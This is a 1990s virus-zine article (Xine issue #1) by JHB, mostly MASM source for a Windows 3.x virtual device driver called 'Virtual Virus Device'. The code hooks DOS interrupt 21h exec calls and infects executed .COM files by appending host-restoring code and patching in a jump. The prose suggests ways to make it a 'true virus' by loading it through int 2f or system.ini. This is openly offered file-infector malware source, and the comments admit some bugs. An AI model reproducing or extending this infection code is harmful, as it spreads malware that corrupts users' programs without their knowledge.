
                                        /-----------------------------\
                                        | Xine - issue #1 - Phile 006 |
                                        \-----------------------------/

JHB presents:

        infections by VxD

  Well yes just as tsr's are to dos as VxD's to windows  they offer an
amazing power and most probaly 90 percent will never know a VxD has been
added.  This example shows how a VxD can modify com files and do it fast.
To make a true virus you would need to add a method to get the vxd in
memory. Infecting a command file and hooking the int 2f you can watch
and wait till windows yells out "hey Look out I am loading" at this time
you can make the vxd tell windows to load it. Another I feel may be easier
is to modifiy the system.ini to load it.  But those are otherbridges to
cross... 


;well lets be honest I use a source code as a frame to build this
;example, I did make the int 21 hook and the other stuff but thats
;just modified virus ideas from regular dos virii.
;to test just ad the line in the system.ini in the
;[386Enh]
;device=vvmd.386
;oh yea you need the masm5.1 and the device driver kit for windows3.X
;to assembly this if any one finds another way to assembly this please
;let me know.
;
;************************************************************************
TITLE VVD.ASM - Virtual Virus Device
;
; 
;problem if ifshlp is loaded in the config.sys windows
;refuse to loads no error just returns to the c:\   only happen on one
;system not sure why
; 
;************************************************************************

        .386p


;************************************************************************
;                             I N C L U D E S
;************************************************************************

        .XLIST
        INCLUDE VMM.Inc
        .LIST

;************************************************************************
;                V I R T U A L   D E V I C E   D E C L A R A T I O N
;************************************************************************

Declare_Virtual_Device VVD, 3, 0, VVD_Control, TSRLoad_Device_ID, \
                       Undefined_Init_Order, ,


;************************************************************************
;                  I N I T I A L I Z A T I O N   D A T A
;************************************************************************

VxD_DATA_SEG

pFn             dd      ?
VVD_RW_BUFF     db      32h dup (0)
SysFile		db	"WIN.COM"
		db	9 dup (0)
SysFileLen      dw      8

hFILE           DW      ?

NEW_JMP         DB      0E9H
Fsize           DW      ?
MARKER          DB      "V"

V_HOST          db      0c7h, 06, 00, 01          ;MOV WORD PTR [100],
FIRST_WORD      DW      ?                         ;
                DB      0C7H, 06, 02, 01          ;MOV WORD PTR [102],
SECOND_WORD     DW      ?                         ;
                DB      068H, 00, 01              ;PUSH 0100
                DB      0C3H                      ;RET
SIZE_V          DW      0010H
VxD_DATA_ENDS

;************************************************************************
;             R E A L   M O D E   I N I T I A L I Z A T I O N
;************************************************************************

VxD_REAL_INIT_SEG

BeginProc VVD_Real_Mode_Init

        xor     bx, bx                  ;nothing to do here
        xor     si, si                  ;except tell windows that
        mov     ax, Device_Load_Ok      ;everything's ok
        ret

EndProc VVD_Real_Mode_Init

VxD_REAL_INIT_ENDS

;*************************************************************************
;              D E V I C E   C O N T R O L   P R O C E D U R E
;*************************************************************************

VxD_CODE_SEG

BeginProc VVD_Control

        Control_Dispatch Device_Init, VVD_Device_Init
        Control_Dispatch Init_Complete, VVD_Init_Complete

        clc                          ; Ignore other control calls
        ret

EndProc VVD_Control

VxD_CODE_ENDS


;*************************************************************************
;                   I N I T I A L I Z A T I O N   C O D E
;*************************************************************************

VxD_ICODE_SEG

BeginProc VVD_Device_Init

        mov     eax,21H                 ;hook V86 int 21 handler
        mov     esi,OFFSET32 int_21handler
        VMMcall Hook_V86_Int_Chain
        clc                             ;say everything's clear
        ret

EndProc VVD_Device_Init

BeginProc VVD_Init_Complete

        clc                             ;say everything's clear
        ret

EndProc VVD_Init_Complete

VxD_ICODE_ENDS

VxD_CODE_SEG

;*************************************************************************
;                   V86 I N T E R R U P T   H A N D L E R S
;*************************************************************************

;*************************************************************************
;
;   int_21handler
;
;   DESCRIPTON: aTTEMPTS TO DETERMINE IF THE FILE IS A COM FILE IF SO
;               ADD SOME MARKER AT THE END
;               pass that point the com file is modified to
;               jmp to the end then return after restoring the host
;               
;
;=========================================================================
;NOTE IT APPEARS THAT ON ENTRY TO HERE EBP -> TO THE CRS (REGS STRUCTURE)
;WHILE                                 EBX -> THE VM HANDLE
;NOTE SURE IF THE EBX IS A POINTER BUT i AM ASSUMING IT IS AT THIS TIME
;TO MAKE LIFE EASIER
;SEEMS MY GUESS IS WRONG
;
;The system calls the procedure as follows:
;
;    mov     eax, Interrupt      ; number of interrupt hooked
;    mov     ebx, VM             ; current VM handle
;    mov     ebp, OFFSET32 crs   ; points to a Client_Reg_Struc
;    call    [HookProc]



BeginProc int_21handler
        cmp     [ebp.Client_AX],4b00h            ;the exec call
        jne     REFLECT_21


        Push_Client_State          ;RESTORES THE CLIENT_IP_REG AND CS
        VMMcall Begin_Nest_Exec    ;RESTORES THE CLIENT REGS  

	movzx	edx, [ebp.Client_DS]	; get offset to file name
	shl	edx, 4
	movzx	eax, [ebp.Client_DX]
	add	edx, eax
	add	edx, [ebx.CB_High_Linear]
        mov     [pFn], edx

        ;  if win.com  do not infect
	push	edi
        mov     edi, edx                        ; file name
	mov	ecx, 128
	mov	al, 0
        repne   scasb                            
	dec	edi

i21_90:	dec	edi
	cmp	byte ptr [edi], '\'
	je	short i21_100
	cmp	byte ptr [edi], '/'
	je	short i21_100
	cmp	byte ptr [edi], ':'
	je	short i21_100
	cmp	edi, edx
	jb	short i21_100
	jmp	short i21_90

i21_100:	inc	edi			; see if they match
	mov	esi, offset32 [SysFile]
	movzx	ecx, [SysFileLen]
	repe	cmpsb
	pop	edi
        jz      EXIT_I21                   ; win.com do not play with

        mov     eax, 3D22h                 ; open file
	VxDint	21h
        jnc     file_open
        jmp     EXIT_I21                   ;  error on open

file_open:
        MOV     word ptr [hFile],AX             ;YEA OLD SAVE FILE  
        MOV     EBX,EAX                         ;HANDLE

	mov	eax, 3F00h			; read MZ
        mov     ecx, 2                          ;assume if not MZ
        lea     edx, FIRST_WORD                ;its a com file
        VxDint  21h                             ;
        jc      EXIT_I21                        ;
        cmp     word ptr [FIRST_WORD], 5A4Dh   ;
        je      close_EXIT_I21                  ;

        mov     eax, 3F00h                      ; read next two bytes
        mov     ecx, 2                          ;assume if not MZ
        lea     edx, SECOND_WORD                ;its a com file
        VxDint  21h                             ;
        jc      EXIT_I21                        ;
        cmp     BYTE ptr [SECOND_WORD+1],"V"  ;
        je      close_EXIT_I21                  ;



        mov     eax, 4202h                      ; seek to end
	xor	ecx, ecx
        mov     edx, ecx
	VxDint	21h
        jc      close_EXIT_I21

        CMP     DX,0                            ;FILE IS TOO BIG
        JNE     close_EXIT_I21                  ;GET OUT OF HERE

        DEC     EAX                             ;adjust the file size
        DEC     EAX                             ;for the jmp
        DEC     EAX                             ;
        MOV     [Fsize],AX                      ;SAVE THE FILE_SIZE

        MOV     EAX,4000H                       ;WRITE THE V_HOST
        MOV     ECX, 10H                        ;
        lea     EDX, V_HOST                     ;
        VxDint  21h                             ;

        mov     eax, 4200h                      ; seek to end
	xor	ecx, ecx
        mov     edx, ecx
	VxDint	21h
        jc      close_EXIT_I21


        MOV     EAX,4000H                       ;WRITE THE  
        MOV     ECX, 4                          ;NEW JMP
        lea     EDX, NEW_JMP                    ;
        VxDint  21h                             ;


close_EXIT_I21:

        mov     bx, [hFile]                 ; close file
        mov     eax, 3E00h
	VxDint	21h
        



EXIT_I21:
        VMMcall End_Nest_Exec      ;RESTORES THE CLIENT_IP_REG AND CS
        Pop_Client_State           ;RESTORES THE CLIENT REGS


                                                  

REFLECT_21:          ;reflect interrupt to next VxD or to V86 handler
        stc
        ret

EndProc int_21handler

VxD_CODE_ENDS


        END VVD_Real_Mode_Init
